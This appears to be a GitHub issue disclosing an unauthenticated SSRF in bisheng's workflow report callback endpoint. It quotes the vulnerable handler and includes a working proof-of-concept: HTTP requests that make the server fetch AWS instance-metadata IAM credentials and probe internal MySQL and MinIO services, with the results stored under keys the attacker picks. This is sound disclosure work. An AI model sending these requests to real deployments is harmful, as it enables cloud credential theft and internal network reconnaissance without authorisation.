Skip to content

Unauthenticated SSRF via workflow report callback endpoint #2190

Description

@geo-chen

reported on 1 June 2026 https://github.com/dataelement/bisheng/security/advisories/GHSA-mh3h-jrgm-pv34 - no response.

Summary

The endpoint POST /api/v1/workflow/report/callback accepts an arbitrary URL and fetches its content on behalf of the server without requiring any authentication. An unauthenticated attacker can use this to probe internal network services, access cloud metadata APIs (AWS IMDSv1, GCP metadata), and exfiltrate responses by having the server store the fetched content in MinIO under an attacker-controlled key name.

Details

The handler in src/backend/bisheng/api/v1/workflow.py (lines 113-134) has no authentication dependency:

@router.post('/report/callback', status_code=200)
async def upload_report_file(
        request: Request,
        data: dict = Body(...)):
    status = data.get('status')
    file_url = data.get('url')
    key = data.get('key')
    if status not in {2, 6}:
        return {'error': 0}
    file = Requests().get(url=file_url)    # unauthenticated SSRF
    version_key = key.split('_', 1)[0]
    minio_client = await get_minio_storage()
    object_name = f"workflow/report/{version_key}.docx"
    await minio_client.put_object(
        object_name=object_name, file=file._content, ...)
    return {'error': 0}

Compare with the adjacent endpoint GET /api/v1/workflow/report/file, which correctly requires login_user: UserPayload = Depends(UserPayload.get_login_user). The callback endpoint was designed for an Office document editor webhook and was left without auth.

Requests().get(url) is the bisheng-langchain HTTP client with no IP allowlist, no URL scheme restriction, and no timeout short enough to prevent metadata endpoint probing:

def get(self, url: str, **kwargs):
    return requests.get(url, headers=self.headers, auth=self.auth,
                        timeout=self.request_timeout, ...)

The response body is stored in MinIO at workflow/report/<key>.docx, and can be retrieved via the authenticated GET /api/v1/workflow/report/file?workflow_id=<any>&version_key=<key> endpoint (or directly from the MinIO public bucket).

PoC

No authentication cookie required.

Step 1 -- Probe the AWS instance metadata service:

POST /api/v1/workflow/report/callback HTTP/1.1
Host: <target>:7860
Content-Type: application/json

{"status": 2, "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "key": "probe123"}

If the server is on AWS, the response body (containing IAM credentials) is stored in MinIO at workflow/report/probe123.docx.

Step 2 -- Probe internal services (confirmed against internal MySQL on port 3306):

POST /api/v1/workflow/report/callback HTTP/1.1
Host: <target>:7860
Content-Type: application/json

{"status": 2, "url": "http://bisheng-mysql:3306/", "key": "mysqlprobe"}

Response (HTTP 200): server returns 500 with the MySQL banner bytes in the error message, confirming the port is open and reachable.

Step 3 -- Confirm SSRF against accessible internal HTTP service (MinIO):

POST /api/v1/workflow/report/callback HTTP/1.1
Host: <target>:7860
Content-Type: application/json

{"status": 2, "url": "http://bisheng-minio:9000/", "key": "miniocheck"}

Response: {"error": 0} -- request succeeded; MinIO root listing stored in MinIO.

Impact

An unauthenticated attacker can:

  • Enumerate and probe all services on the internal network by observing response codes and error messages.
  • Read responses from services that respond to HTTP GET (MinIO, Elasticsearch, etcd, Milvus health endpoints, cloud metadata APIs).
  • On AWS/GCP/Azure deployments, retrieve IAM credentials from the instance metadata service and pivot to cloud resource takeover.
  • Store response content in MinIO under any filename, potentially poisoning other application data.

No account, token, or prior knowledge of the system is required beyond network access to the API port.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions